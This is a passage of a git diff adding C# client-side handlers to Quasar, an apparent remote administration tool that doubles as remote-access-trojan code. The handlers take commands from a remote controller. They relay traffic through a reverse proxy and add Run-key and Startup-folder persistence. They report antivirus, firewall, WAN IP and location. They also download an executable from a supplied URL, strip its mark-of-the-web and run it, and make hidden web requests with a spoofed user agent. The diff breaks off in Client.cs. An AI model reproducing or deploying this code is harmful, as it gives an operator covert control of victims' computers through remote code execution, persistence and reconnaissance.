+ Execute(sender, msg);
+ break;
+ case ReverseProxyData msg:
+ Execute(sender, msg);
+ break;
+ case ReverseProxyDisconnect msg:
+ Execute(sender, msg);
+ break;
+ }
+ }
+
+ private void Execute(ISender client, ReverseProxyConnect message)
+ {
+ _client.ConnectReverseProxy(message);
+ }
+
+ private void Execute(ISender client, ReverseProxyData message)
+ {
+ ReverseProxyClient proxyClient = _client.GetReverseProxyByConnectionId(message.ConnectionId);
+
+ proxyClient?.SendToTargetServer(message.Data);
+ }
+ private void Execute(ISender client, ReverseProxyDisconnect message)
+ {
+ ReverseProxyClient socksClient = _client.GetReverseProxyByConnectionId(message.ConnectionId);
+
+ socksClient?.Disconnect();
+ }
+ }
+}
diff --git a/Quasar.Client/Messages/ShutdownHandler.cs b/Quasar.Client/Messages/ShutdownHandler.cs
new file mode 100644
index 000000000..de0ea50b5
--- /dev/null
+++ b/Quasar.Client/Messages/ShutdownHandler.cs
@@ -0,0 +1,58 @@
+using Quasar.Common.Enums;
+using Quasar.Common.Messages;
+using Quasar.Common.Networking;
+using System;
+using System.Diagnostics;
+using System.Windows.Forms;
+
+namespace Quasar.Client.Messages
+{
+ public class ShutdownHandler : IMessageProcessor
+ {
+ public bool CanExecute(IMessage message) => message is DoShutdownAction;
+
+ public bool CanExecuteFrom(ISender sender) => true;
+
+ public void Execute(ISender sender, IMessage message)
+ {
+ switch (message)
+ {
+ case DoShutdownAction msg:
+ Execute(sender, msg);
+ break;
+ }
+ }
+
+ private void Execute(ISender client, DoShutdownAction message)
+ {
+ try
+ {
+ ProcessStartInfo startInfo = new ProcessStartInfo();
+ switch (message.Action)
+ {
+ case ShutdownAction.Shutdown:
+ startInfo.WindowStyle = ProcessWindowStyle.Hidden;
+ startInfo.UseShellExecute = true;
+ startInfo.Arguments = "/s /t 0"; // shutdown
+ startInfo.FileName = "shutdown";
+ Process.Start(startInfo);
+ break;
+ case ShutdownAction.Restart:
+ startInfo.WindowStyle = ProcessWindowStyle.Hidden;
+ startInfo.UseShellExecute = true;
+ startInfo.Arguments = "/r /t 0"; // restart
+ startInfo.FileName = "shutdown";
+ Process.Start(startInfo);
+ break;
+ case ShutdownAction.Standby:
+ Application.SetSuspendState(PowerState.Suspend, true, true); // standby
+ break;
+ }
+ }
+ catch (Exception ex)
+ {
+ client.Send(new SetStatus { Message = $"Action failed: {ex.Message}" });
+ }
+ }
+ }
+}
diff --git a/Quasar.Client/Messages/StartupManagerHandler.cs b/Quasar.Client/Messages/StartupManagerHandler.cs
new file mode 100644
index 000000000..91b2d0234
--- /dev/null
+++ b/Quasar.Client/Messages/StartupManagerHandler.cs
@@ -0,0 +1,265 @@
+using Microsoft.Win32;
+using Quasar.Client.Extensions;
+using Quasar.Client.Helper;
+using Quasar.Common.Enums;
+using Quasar.Common.Helpers;
+using Quasar.Common.Messages;
+using Quasar.Common.Networking;
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+
+namespace Quasar.Client.Messages
+{
+ public class StartupManagerHandler : IMessageProcessor
+ {
+ public bool CanExecute(IMessage message) => message is GetStartupItems ||
+ message is DoStartupItemAdd ||
+ message is DoStartupItemRemove;
+
+ public bool CanExecuteFrom(ISender sender) => true;
+
+ public void Execute(ISender sender, IMessage message)
+ {
+ switch (message)
+ {
+ case GetStartupItems msg:
+ Execute(sender, msg);
+ break;
+ case DoStartupItemAdd msg:
+ Execute(sender, msg);
+ break;
+ case DoStartupItemRemove msg:
+ Execute(sender, msg);
+ break;
+ }
+ }
+
+ private void Execute(ISender client, GetStartupItems message)
+ {
+ try
+ {
+ List startupItems = new List();
+
+ using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"))
+ {
+ if (key != null)
+ {
+ foreach (var item in key.GetKeyValues())
+ {
+ startupItems.Add(new Common.Models.StartupItem
+ { Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRun });
+ }
+ }
+ }
+ using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
+ {
+ if (key != null)
+ {
+ foreach (var item in key.GetKeyValues())
+ {
+ startupItems.Add(new Common.Models.StartupItem
+ { Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRunOnce });
+ }
+ }
+ }
+ using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"))
+ {
+ if (key != null)
+ {
+ foreach (var item in key.GetKeyValues())
+ {
+ startupItems.Add(new Common.Models.StartupItem
+ { Name = item.Item1, Path = item.Item2, Type = StartupType.CurrentUserRun });
+ }
+ }
+ }
+ using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
+ {
+ if (key != null)
+ {
+ foreach (var item in key.GetKeyValues())
+ {
+ startupItems.Add(new Common.Models.StartupItem
+ { Name = item.Item1, Path = item.Item2, Type = StartupType.CurrentUserRunOnce });
+ }
+ }
+ }
+ using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run"))
+ {
+ if (key != null)
+ {
+ foreach (var item in key.GetKeyValues())
+ {
+ startupItems.Add(new Common.Models.StartupItem
+ { Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRunX86 });
+ }
+ }
+ }
+ using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
+ {
+ if (key != null)
+ {
+ foreach (var item in key.GetKeyValues())
+ {
+ startupItems.Add(new Common.Models.StartupItem
+ { Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRunOnceX86 });
+ }
+ }
+ }
+ if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup)))
+ {
+ var files = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Startup)).GetFiles();
+
+ startupItems.AddRange(files.Where(file => file.Name != "desktop.ini").Select(file => new Common.Models.StartupItem
+ { Name = file.Name, Path = file.FullName, Type = StartupType.StartMenu }));
+ }
+
+ client.Send(new GetStartupItemsResponse { StartupItems = startupItems });
+ }
+ catch (Exception ex)
+ {
+ client.Send(new SetStatus { Message = $"Getting Autostart Items failed: {ex.Message}" });
+ }
+ }
+
+ private void Execute(ISender client, DoStartupItemAdd message)
+ {
+ try
+ {
+ switch (message.StartupItem.Type)
+ {
+ case StartupType.LocalMachineRun:
+ if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine,
+ "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true))
+ {
+ throw new Exception("Could not add value");
+ }
+ break;
+ case StartupType.LocalMachineRunOnce:
+ if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine,
+ "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true))
+ {
+ throw new Exception("Could not add value");
+ }
+ break;
+ case StartupType.CurrentUserRun:
+ if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser,
+ "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true))
+ {
+ throw new Exception("Could not add value");
+ }
+ break;
+ case StartupType.CurrentUserRunOnce:
+ if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser,
+ "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true))
+ {
+ throw new Exception("Could not add value");
+ }
+ break;
+ case StartupType.LocalMachineRunX86:
+ if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine,
+ "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true))
+ {
+ throw new Exception("Could not add value");
+ }
+ break;
+ case StartupType.LocalMachineRunOnceX86:
+ if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine,
+ "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true))
+ {
+ throw new Exception("Could not add value");
+ }
+ break;
+ case StartupType.StartMenu:
+ if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup)))
+ {
+ Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.Startup));
+ }
+
+ string lnkPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup),
+ message.StartupItem.Name + ".url");
+
+ using (var writer = new StreamWriter(lnkPath, false))
+ {
+ writer.WriteLine("[InternetShortcut]");
+ writer.WriteLine("URL=file:///" + message.StartupItem.Path);
+ writer.WriteLine("IconIndex=0");
+ writer.WriteLine("IconFile=" + message.StartupItem.Path.Replace('\\', '/'));
+ writer.Flush();
+ }
+ break;
+ }
+ }
+ catch (Exception ex)
+ {
+ client.Send(new SetStatus { Message = $"Adding Autostart Item failed: {ex.Message}" });
+ }
+ }
+
+ private void Execute(ISender client, DoStartupItemRemove message)
+ {
+ try
+ {
+ switch (message.StartupItem.Type)
+ {
+ case StartupType.LocalMachineRun:
+ if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine,
+ "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name))
+ {
+ throw new Exception("Could not remove value");
+ }
+ break;
+ case StartupType.LocalMachineRunOnce:
+ if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine,
+ "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name))
+ {
+ throw new Exception("Could not remove value");
+ }
+ break;
+ case StartupType.CurrentUserRun:
+ if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser,
+ "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name))
+ {
+ throw new Exception("Could not remove value");
+ }
+ break;
+ case StartupType.CurrentUserRunOnce:
+ if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser,
+ "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name))
+ {
+ throw new Exception("Could not remove value");
+ }
+ break;
+ case StartupType.LocalMachineRunX86:
+ if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine,
+ "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name))
+ {
+ throw new Exception("Could not remove value");
+ }
+ break;
+ case StartupType.LocalMachineRunOnceX86:
+ if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine,
+ "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name))
+ {
+ throw new Exception("Could not remove value");
+ }
+ break;
+ case StartupType.StartMenu:
+ string startupItemPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), message.StartupItem.Name);
+
+ if (!File.Exists(startupItemPath))
+ throw new IOException("File does not exist");
+
+ File.Delete(startupItemPath);
+ break;
+ }
+ }
+ catch (Exception ex)
+ {
+ client.Send(new SetStatus { Message = $"Removing Autostart Item failed: {ex.Message}" });
+ }
+ }
+ }
+}
diff --git a/Quasar.Client/Messages/SystemInformationHandler.cs b/Quasar.Client/Messages/SystemInformationHandler.cs
new file mode 100644
index 000000000..32826111a
--- /dev/null
+++ b/Quasar.Client/Messages/SystemInformationHandler.cs
@@ -0,0 +1,72 @@
+using Quasar.Client.Helper;
+using Quasar.Client.IpGeoLocation;
+using Quasar.Client.User;
+using Quasar.Common.Messages;
+using Quasar.Common.Networking;
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Net.NetworkInformation;
+using Quasar.Client.IO;
+
+namespace Quasar.Client.Messages
+{
+ public class SystemInformationHandler : IMessageProcessor
+ {
+ public bool CanExecute(IMessage message) => message is GetSystemInfo;
+
+ public bool CanExecuteFrom(ISender sender) => true;
+
+ public void Execute(ISender sender, IMessage message)
+ {
+ switch (message)
+ {
+ case GetSystemInfo msg:
+ Execute(sender, msg);
+ break;
+ }
+ }
+
+ private void Execute(ISender client, GetSystemInfo message)
+ {
+ try
+ {
+ IPGlobalProperties properties = IPGlobalProperties.GetIPGlobalProperties();
+
+ var domainName = (!string.IsNullOrEmpty(properties.DomainName)) ? properties.DomainName : "-";
+ var hostName = (!string.IsNullOrEmpty(properties.HostName)) ? properties.HostName : "-";
+
+ var geoInfo = GeoInformationFactory.GetGeoInformation();
+ var userAccount = new UserAccount();
+
+ List> lstInfos = new List>
+ {
+ new Tuple("Processor (CPU)", HardwareDevices.CpuName),
+ new Tuple("Memory (RAM)", $"{HardwareDevices.TotalPhysicalMemory} MB"),
+ new Tuple("Video Card (GPU)", HardwareDevices.GpuName),
+ new Tuple("Username", userAccount.UserName),
+ new Tuple("PC Name", SystemHelper.GetPcName()),
+ new Tuple("Domain Name", domainName),
+ new Tuple("Host Name", hostName),
+ new Tuple("System Drive", Path.GetPathRoot(Environment.SystemDirectory)),
+ new Tuple("System Directory", Environment.SystemDirectory),
+ new Tuple("Uptime", SystemHelper.GetUptime()),
+ new Tuple("MAC Address", HardwareDevices.MacAddress),
+ new Tuple("LAN IP Address", HardwareDevices.LanIpAddress),
+ new Tuple("WAN IP Address", geoInfo.IpAddress),
+ new Tuple("ASN", geoInfo.Asn),
+ new Tuple("ISP", geoInfo.Isp),
+ new Tuple("Antivirus", SystemHelper.GetAntivirus()),
+ new Tuple("Firewall", SystemHelper.GetFirewall()),
+ new Tuple("Time Zone", geoInfo.Timezone),
+ new Tuple("Country", geoInfo.Country)
+ };
+
+ client.Send(new GetSystemInfoResponse { SystemInfos = lstInfos });
+ }
+ catch
+ {
+ }
+ }
+ }
+}
diff --git a/Quasar.Client/Messages/TaskManagerHandler.cs b/Quasar.Client/Messages/TaskManagerHandler.cs
new file mode 100644
index 000000000..8909037f5
--- /dev/null
+++ b/Quasar.Client/Messages/TaskManagerHandler.cs
@@ -0,0 +1,204 @@
+using Quasar.Client.Networking;
+using Quasar.Client.Setup;
+using Quasar.Common;
+using Quasar.Common.Enums;
+using Quasar.Common.Helpers;
+using Quasar.Common.Messages;
+using Quasar.Common.Networking;
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Net;
+using System.Threading;
+
+namespace Quasar.Client.Messages
+{
+ ///
+ /// Handles messages for the interaction with tasks.
+ ///
+ public class TaskManagerHandler : IMessageProcessor, IDisposable
+ {
+ private readonly QuasarClient _client;
+
+ private readonly WebClient _webClient;
+
+ public TaskManagerHandler(QuasarClient client)
+ {
+ _client = client;
+ _client.ClientState += OnClientStateChange;
+ _webClient = new WebClient { Proxy = null };
+ _webClient.DownloadFileCompleted += OnDownloadFileCompleted;
+ }
+
+ private void OnClientStateChange(Networking.Client s, bool connected)
+ {
+ if (!connected)
+ {
+ if (_webClient.IsBusy)
+ _webClient.CancelAsync();
+ }
+ }
+
+ public bool CanExecute(IMessage message) => message is GetProcesses ||
+ message is DoProcessStart ||
+ message is DoProcessEnd;
+
+ public bool CanExecuteFrom(ISender sender) => true;
+
+ public void Execute(ISender sender, IMessage message)
+ {
+ switch (message)
+ {
+ case GetProcesses msg:
+ Execute(sender, msg);
+ break;
+ case DoProcessStart msg:
+ Execute(sender, msg);
+ break;
+ case DoProcessEnd msg:
+ Execute(sender, msg);
+ break;
+ }
+ }
+
+ private void Execute(ISender client, GetProcesses message)
+ {
+ Process[] pList = Process.GetProcesses();
+ var processes = new Common.Models.Process[pList.Length];
+
+ for (int i = 0; i < pList.Length; i++)
+ {
+ var process = new Common.Models.Process
+ {
+ Name = pList[i].ProcessName + ".exe",
+ Id = pList[i].Id,
+ MainWindowTitle = pList[i].MainWindowTitle
+ };
+ processes[i] = process;
+ }
+
+ client.Send(new GetProcessesResponse { Processes = processes });
+ }
+
+ private void Execute(ISender client, DoProcessStart message)
+ {
+ if (string.IsNullOrEmpty(message.FilePath))
+ {
+ // download and then execute
+ if (string.IsNullOrEmpty(message.DownloadUrl))
+ {
+ client.Send(new DoProcessResponse {Action = ProcessAction.Start, Result = false});
+ return;
+ }
+
+ message.FilePath = FileHelper.GetTempFilePath(".exe");
+
+ try
+ {
+ if (_webClient.IsBusy)
+ {
+ _webClient.CancelAsync();
+ while (_webClient.IsBusy)
+ {
+ Thread.Sleep(50);
+ }
+ }
+
+ _webClient.DownloadFileAsync(new Uri(message.DownloadUrl), message.FilePath, message);
+ }
+ catch
+ {
+ client.Send(new DoProcessResponse {Action = ProcessAction.Start, Result = false});
+ NativeMethods.DeleteFile(message.FilePath);
+ }
+ }
+ else
+ {
+ // execute locally
+ ExecuteProcess(message.FilePath, message.IsUpdate);
+ }
+ }
+
+ private void OnDownloadFileCompleted(object sender, AsyncCompletedEventArgs e)
+ {
+ var message = (DoProcessStart) e.UserState;
+ if (e.Cancelled)
+ {
+ NativeMethods.DeleteFile(message.FilePath);
+ return;
+ }
+
+ FileHelper.DeleteZoneIdentifier(message.FilePath);
+ ExecuteProcess(message.FilePath, message.IsUpdate);
+ }
+
+ private void ExecuteProcess(string filePath, bool isUpdate)
+ {
+ if (isUpdate)
+ {
+ try
+ {
+ var clientUpdater = new ClientUpdater();
+ clientUpdater.Update(filePath);
+ _client.Exit();
+ }
+ catch (Exception ex)
+ {
+ NativeMethods.DeleteFile(filePath);
+ _client.Send(new SetStatus { Message = $"Update failed: {ex.Message}" });
+ }
+ }
+ else
+ {
+ try
+ {
+ ProcessStartInfo startInfo = new ProcessStartInfo
+ {
+ UseShellExecute = true,
+ FileName = filePath
+ };
+ Process.Start(startInfo);
+ _client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = true });
+ }
+ catch (Exception)
+ {
+ _client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false });
+ }
+
+ }
+ }
+
+ private void Execute(ISender client, DoProcessEnd message)
+ {
+ try
+ {
+ Process.GetProcessById(message.Pid).Kill();
+ client.Send(new DoProcessResponse { Action = ProcessAction.End, Result = true });
+ }
+ catch
+ {
+ client.Send(new DoProcessResponse { Action = ProcessAction.End, Result = false });
+ }
+ }
+
+ ///
+ /// Disposes all managed and unmanaged resources associated with this message processor.
+ ///
+ public void Dispose()
+ {
+ Dispose(true);
+ GC.SuppressFinalize(this);
+ }
+
+ protected virtual void Dispose(bool disposing)
+ {
+ if (disposing)
+ {
+ _client.ClientState -= OnClientStateChange;
+ _webClient.DownloadFileCompleted -= OnDownloadFileCompleted;
+ _webClient.CancelAsync();
+ _webClient.Dispose();
+ }
+ }
+ }
+}
diff --git a/Quasar.Client/Messages/TcpConnectionsHandler.cs b/Quasar.Client/Messages/TcpConnectionsHandler.cs
new file mode 100644
index 000000000..f4c55d653
--- /dev/null
+++ b/Quasar.Client/Messages/TcpConnectionsHandler.cs
@@ -0,0 +1,117 @@
+using Quasar.Client.Utilities;
+using Quasar.Common.Enums;
+using Quasar.Common.Messages;
+using Quasar.Common.Models;
+using Quasar.Common.Networking;
+using System;
+using System.Runtime.InteropServices;
+
+namespace Quasar.Client.Messages
+{
+ public class TcpConnectionsHandler : IMessageProcessor
+ {
+ public bool CanExecute(IMessage message) => message is GetConnections ||
+ message is DoCloseConnection;
+
+ public bool CanExecuteFrom(ISender sender) => true;
+
+ public void Execute(ISender sender, IMessage message)
+ {
+ switch (message)
+ {
+ case GetConnections msg:
+ Execute(sender, msg);
+ break;
+ case DoCloseConnection msg:
+ Execute(sender, msg);
+ break;
+ }
+ }
+
+ private void Execute(ISender client, GetConnections message)
+ {
+ var table = GetTable();
+
+ var connections = new TcpConnection[table.Length];
+
+ for (int i = 0; i < table.Length; i++)
+ {
+ string processName;
+ try
+ {
+ var p = System.Diagnostics.Process.GetProcessById((int)table[i].owningPid);
+ processName = p.ProcessName;
+ }
+ catch
+ {
+ processName = $"PID: {table[i].owningPid}";
+ }
+
+ connections[i] = new TcpConnection
+ {
+ ProcessName = processName,
+ LocalAddress = table[i].LocalAddress.ToString(),
+ LocalPort = table[i].LocalPort,
+ RemoteAddress = table[i].RemoteAddress.ToString(),
+ RemotePort = table[i].RemotePort,
+ State = (ConnectionState)table[i].state
+ };
+ }
+
+ client.Send(new GetConnectionsResponse { Connections = connections });
+ }
+
+ private void Execute(ISender client, DoCloseConnection message)
+ {
+ var table = GetTable();
+
+ for (var i = 0; i < table.Length; i++)
+ {
+ //search for connection
+ if (message.LocalAddress == table[i].LocalAddress.ToString() &&
+ message.LocalPort == table[i].LocalPort &&
+ message.RemoteAddress == table[i].RemoteAddress.ToString() &&
+ message.RemotePort == table[i].RemotePort)
+ {
+ // it will close the connection only if client run as admin
+ table[i].state = (byte) ConnectionState.Delete_TCB;
+ var ptr = Marshal.AllocCoTaskMem(Marshal.SizeOf(table[i]));
+ Marshal.StructureToPtr(table[i], ptr, false);
+ NativeMethods.SetTcpEntry(ptr);
+ Execute(client, new GetConnections());
+ return;
+ }
+ }
+ }
+
+ private NativeMethods.MibTcprowOwnerPid[] GetTable()
+ {
+ NativeMethods.MibTcprowOwnerPid[] tTable;
+ var afInet = 2;
+ var buffSize = 0;
+ // retrieve correct pTcpTable size
+ NativeMethods.GetExtendedTcpTable(IntPtr.Zero, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll);
+ var buffTable = Marshal.AllocHGlobal(buffSize);
+ try
+ {
+ var ret = NativeMethods.GetExtendedTcpTable(buffTable, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll);
+ if (ret != 0)
+ return null;
+ var tab = (NativeMethods.MibTcptableOwnerPid)Marshal.PtrToStructure(buffTable, typeof(NativeMethods.MibTcptableOwnerPid));
+ var rowPtr = (IntPtr)((long)buffTable + Marshal.SizeOf(tab.dwNumEntries));
+ tTable = new NativeMethods.MibTcprowOwnerPid[tab.dwNumEntries];
+ for (var i = 0; i < tab.dwNumEntries; i++)
+ {
+ var tcpRow = (NativeMethods.MibTcprowOwnerPid)Marshal.PtrToStructure(rowPtr, typeof(NativeMethods.MibTcprowOwnerPid));
+ tTable[i] = tcpRow;
+ rowPtr = (IntPtr)((long)rowPtr + Marshal.SizeOf(tcpRow));
+ }
+ }
+ finally
+ {
+ Marshal.FreeHGlobal(buffTable);
+ }
+ return tTable;
+ }
+ }
+}
diff --git a/Quasar.Client/Messages/WebsiteVisitorHandler.cs b/Quasar.Client/Messages/WebsiteVisitorHandler.cs
new file mode 100644
index 000000000..773b98284
--- /dev/null
+++ b/Quasar.Client/Messages/WebsiteVisitorHandler.cs
@@ -0,0 +1,60 @@
+using Quasar.Common.Messages;
+using Quasar.Common.Networking;
+using System;
+using System.Diagnostics;
+using System.Net;
+
+namespace Quasar.Client.Messages
+{
+ public class WebsiteVisitorHandler : IMessageProcessor
+ {
+ public bool CanExecute(IMessage message) => message is DoVisitWebsite;
+
+ public bool CanExecuteFrom(ISender sender) => true;
+
+ public void Execute(ISender sender, IMessage message)
+ {
+ switch (message)
+ {
+ case DoVisitWebsite msg:
+ Execute(sender, msg);
+ break;
+ }
+ }
+
+ private void Execute(ISender client, DoVisitWebsite message)
+ {
+ string url = message.Url;
+
+ if (!url.StartsWith("http"))
+ url = "http://" + url;
+
+ if (Uri.IsWellFormedUriString(url, UriKind.RelativeOrAbsolute))
+ {
+ if (!message.Hidden)
+ Process.Start(url);
+ else
+ {
+ try
+ {
+ HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(url);
+ request.UserAgent =
+ "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A";
+ request.AllowAutoRedirect = true;
+ request.Timeout = 10000;
+ request.Method = "GET";
+
+ using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
+ {
+ }
+ }
+ catch
+ {
+ }
+ }
+
+ client.Send(new SetStatus { Message = "Visited Website" });
+ }
+ }
+ }
+}
diff --git a/Client/Core/Networking/Client.cs b/Quasar.Client/Networking/Client.cs
similarity index 52%
rename from Client/Core/Networking/Client.cs
rename to Quasar.Client/Networking/Client.cs
index 8988c012a..d5279628c 100644
--- a/Client/Core/Networking/Client.cs
+++ b/Quasar.Client/Networking/Client.cs
@@ -1,20 +1,22 @@
-using System;
+using Quasar.Client.ReverseProxy;
+using Quasar.Common.Extensions;
+using Quasar.Common.Messages;
+using Quasar.Common.Messages.ReverseProxy;
+using Quasar.Common.Networking;
+using System;
using System.Collections.Generic;
-using System.IO;
using System.Linq;
+using System.Net;
+using System.Net.Security;
using System.Net.Sockets;
+using System.Security.Authentication;
+using System.Security.Cryptography;
+using System.Security.Cryptography.X509Certificates;
using System.Threading;
-using xClient.Core.Compression;
-using xClient.Core.Cryptography;
-using xClient.Core.Extensions;
-using xClient.Core.NetSerializer;
-using xClient.Core.Packets;
-using xClient.Core.ReverseProxy;
-using xClient.Core.ReverseProxy.Packets;
-
-namespace xClient.Core.Networking
+
+namespace Quasar.Client.Networking
{
- public class Client
+ public class Client : ISender
{
///
/// Occurs as a result of an unrecoverable issue with the client.
@@ -35,10 +37,7 @@ public class Client
private void OnClientFail(Exception ex)
{
var handler = ClientFail;
- if (handler != null)
- {
- handler(this, ex);
- }
+ handler?.Invoke(this, ex);
}
///
@@ -64,68 +63,59 @@ private void OnClientState(bool connected)
Connected = connected;
var handler = ClientState;
- if (handler != null)
- {
- handler(this, connected);
- }
+ handler?.Invoke(this, connected);
}
///
- /// Occurs when a packet is received from the server.
+ /// Occurs when a message is received from the server.
///
public event ClientReadEventHandler ClientRead;
///
- /// Represents a method that will handle a packet from the server.
+ /// Represents a method that will handle a message from the server.
///
- /// The client that has received the packet.
- /// The packet that has been received by the server.
- public delegate void ClientReadEventHandler(Client s, IPacket packet);
+ /// The client that has received the message.
+ /// The message that has been received by the server.
+ /// The length of the message.
+ public delegate void ClientReadEventHandler(Client s, IMessage message, int messageLength);
///
- /// Fires an event that informs subscribers that a packet has been received by the server.
+ /// Fires an event that informs subscribers that a message has been received by the server.
///
- /// The packet that has been received by the server.
- private void OnClientRead(IPacket packet)
+ /// The message that has been received by the server.
+ /// The length of the message.
+ private void OnClientRead(IMessage message, int messageLength)
{
var handler = ClientRead;
- if (handler != null)
- {
- handler(this, packet);
- }
+ handler?.Invoke(this, message, messageLength);
}
///
- /// Occurs when a packet is sent by the client.
+ /// Occurs when a message is sent by the client.
///
public event ClientWriteEventHandler ClientWrite;
///
- /// Represents the method that will handle the sent packet.
+ /// Represents the method that will handle the sent message.
///
- /// The client that has sent the packet.
- /// The packet that has been sent by the client.
- /// The length of the packet.
- /// The packet in raw bytes.
- public delegate void ClientWriteEventHandler(Client s, IPacket packet, long length, byte[] rawData);
+ /// The client that has sent the message.
+ /// The message that has been sent by the client.
+ /// The length of the message.
+ public delegate void ClientWriteEventHandler(Client s, IMessage message, int messageLength);
///
- /// Fires an event that informs subscribers that the client has sent a packet.
+ /// Fires an event that informs subscribers that the client has sent a message.
///
- /// The packet that has been sent by the client.
- /// The length of the packet.
- /// The packet in raw bytes.
- private void OnClientWrite(IPacket packet, long length, byte[] rawData)
+ /// The message that has been sent by the client.
+ /// The length of the message.
+ private void OnClientWrite(IMessage message, int messageLength)
{
var handler = ClientWrite;
- if (handler != null)
- {
- handler(this, packet, length, rawData);
- }
+ handler?.Invoke(this, message, messageLength);
}
///
- /// The type of the packet received.
+ /// The type of the message received.
///
public enum ReceiveType
{
@@ -154,9 +144,9 @@ public enum ReceiveType
public int HEADER_SIZE { get { return 4; } } // 4B
///
- /// The maximum size of a packet in bytes.
+ /// The maximum size of a message in bytes.
///
- public int MAX_PACKET_SIZE { get { return (1024 * 1024) * 5; } } // 5MB
+ public int MAX_MESSAGE_SIZE { get { return (1024 * 1024) * 5; } } // 5MB
///
/// Returns an array containing all of the proxy clients of this client.
@@ -173,14 +163,29 @@ public ReverseProxyClient[] ProxyClients
}
///
- /// Handle of the Client Socket.
+ /// Gets if the client is currently connected to a server.
+ ///
+ public bool Connected { get; private set; }
+
+ ///
+ /// The stream used for communication.
///
- private Socket _handle;
+ private SslStream _stream;
+
+ ///
+ /// The server certificate.
+ ///
+ private readonly X509Certificate2 _serverCertificate;
///
/// A list of all the connected proxy clients that this client holds.
///
- private List _proxyClients;
+ private List _proxyClients = new List();
+
+ ///
+ /// The internal index of the message type.
+ ///
+ private int _typeIndex;
///
/// Lock object for the list of proxy clients.
@@ -188,7 +193,7 @@ public ReverseProxyClient[] ProxyClients
private readonly object _proxyClientsLock = new object();
///
- /// The buffer for incoming packets.
+ /// The buffer for incoming messages.
///
private byte[] _readBuffer;
@@ -198,112 +203,121 @@ public ReverseProxyClient[] ProxyClients
private byte[] _payloadBuffer;
///
- /// The Queue which holds buffers to send.
+ /// The queue which holds messages to send.
///
- private readonly Queue _sendBuffers = new Queue();
+ private readonly Queue _sendBuffers = new Queue();
///
- /// Determines if the client is currently sending packets.
+ /// Determines if the client is currently sending messages.
///
- private bool _sendingPackets;
+ private bool _sendingMessages;
///
- /// Lock object for the sending packets boolean.
+ /// Lock object for the sending messages boolean.
///
- private readonly object _sendingPacketsLock = new object();
+ private readonly object _sendingMessagesLock = new object();
///
- /// The Queue which holds buffers to read.
+ /// The queue which holds buffers to read.
///
